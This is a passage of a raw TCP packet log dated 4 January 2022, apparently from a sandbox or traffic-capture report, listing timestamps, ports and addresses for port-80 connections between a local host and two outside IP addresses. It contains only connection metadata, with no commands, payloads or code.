Jan 4, 2022 19:33:37.235555887 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235588074 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235610008 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235632896 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235642910 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235692978 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235733032 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235761881 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235800982 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235810041 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235847950 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235866070 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235886097 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235934973 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.235966921 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.235990047 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236001015 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236017942 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236046076 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236083031 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236089945 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236139059 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236186981 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236243963 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236294031 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236301899 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236336946 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236346006 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236356974 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236388922 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236430883 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236465931 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236478090 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236512899 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236537933 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236558914 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236593962 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236639023 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236644983 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236685991 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236732960 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236732960 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236774921 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236824036 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236825943 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236896038 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236917973 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.236937046 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.236964941 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237005949 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237030983 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237219095 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237282991 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237292051 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.237333059 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237361908 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.237380981 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237397909 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.237430096 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237499952 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.237544060 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237593889 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237627029 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237667084 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.237675905 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.237715960 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.271065950 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.298039913 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298095942 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298136950 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298213005 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298305035 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.298326015 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.298399925 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298444986 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298485041 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298559904 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.298644066 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298715115 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298717976 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.298789024 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.298966885 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299022913 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299055099 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299078941 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299148083 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299169064 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299211979 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299261093 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299278021 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299313068 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299319983 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299354076 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299405098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299444914 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299468994 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299485922 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299515963 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299539089 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299582958 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299634933 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299650908 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299689054 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299690008 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299726009 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299763918 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299787045 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299797058 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299833059 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299869061 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299885035 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299921989 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.299922943 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.299962044 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300000906 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300040007 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300051928 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300080061 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300093889 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300117970 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300157070 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300195932 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300208092 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300232887 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300245047 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300271988 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300311089 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300348997 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300364971 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300389051 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300400972 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300425053 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300463915 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300503016 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300530910 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300539970 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300556898 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300579071 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300616026 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300654888 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300693035 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.300756931 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300776005 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.300781012 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.312211990 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:37.372230053 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:37.492672920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492702007 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492719889 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492743015 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492765903 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492783070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492799044 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492815971 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492830992 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492858887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492860079 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.492880106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.492885113 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492902040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492918015 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492933989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492947102 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.492950916 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492952108 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.492969036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.492985964 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493001938 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493014097 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493017912 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493019104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493036985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493052959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493069887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493087053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493094921 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493098974 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493107080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493124962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493141890 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493158102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493170023 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493170977 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493175030 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493185997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493202925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493218899 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493236065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493251085 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493258953 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493263006 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493269920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493285894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493302107 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493319035 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493330956 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493334055 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493335962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493352890 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493369102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493385077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493397951 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493402958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493402958 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493418932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493434906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493452072 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493463039 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493468046 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493468046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493485928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493501902 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493514061 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.493519068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.493519068 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.495673895 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.536242962 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.762516975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762568951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762609005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762650013 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762672901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.762697935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762700081 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.762761116 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762801886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762840986 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762881994 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762897968 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.762902021 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.762924910 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.762963057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763004065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763016939 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763046026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763083935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763123989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763137102 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763140917 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763165951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763206005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763217926 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763253927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763273954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763318062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763325930 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763359070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763391018 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763410091 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763433933 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763472080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763513088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763552904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763571978 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763576031 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763592958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763634920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763664961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763701916 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763705969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763750076 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763753891 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763758898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763799906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763840914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763880014 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763920069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763959885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.763972044 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763976097 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.763998032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764038086 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764076948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764087915 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.764091969 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.764117956 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764158964 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764197111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764236927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764249086 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.764254093 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.764277935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764316082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.764689922 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.767452955 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.767498970 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.767719984 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:37.805521011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:37.805969954 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033448935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033502102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033543110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033582926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033620119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033646107 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033658981 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033667088 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033699036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033737898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033776045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033813953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033826113 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033829927 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033854008 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033895969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033934116 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.033950090 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033953905 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.033973932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034013033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034049988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034089088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034091949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034096003 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034128904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034168005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034190893 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034209013 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034246922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034285069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034326077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034337044 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034341097 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034363985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034401894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034440041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034460068 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034481049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034528971 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034570932 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034606934 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034610987 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034611940 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034650087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034687996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034735918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034775972 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:38.034804106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034809113 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:38.034812927 CET	80	49839	61.98.7.132	192.168.2.5
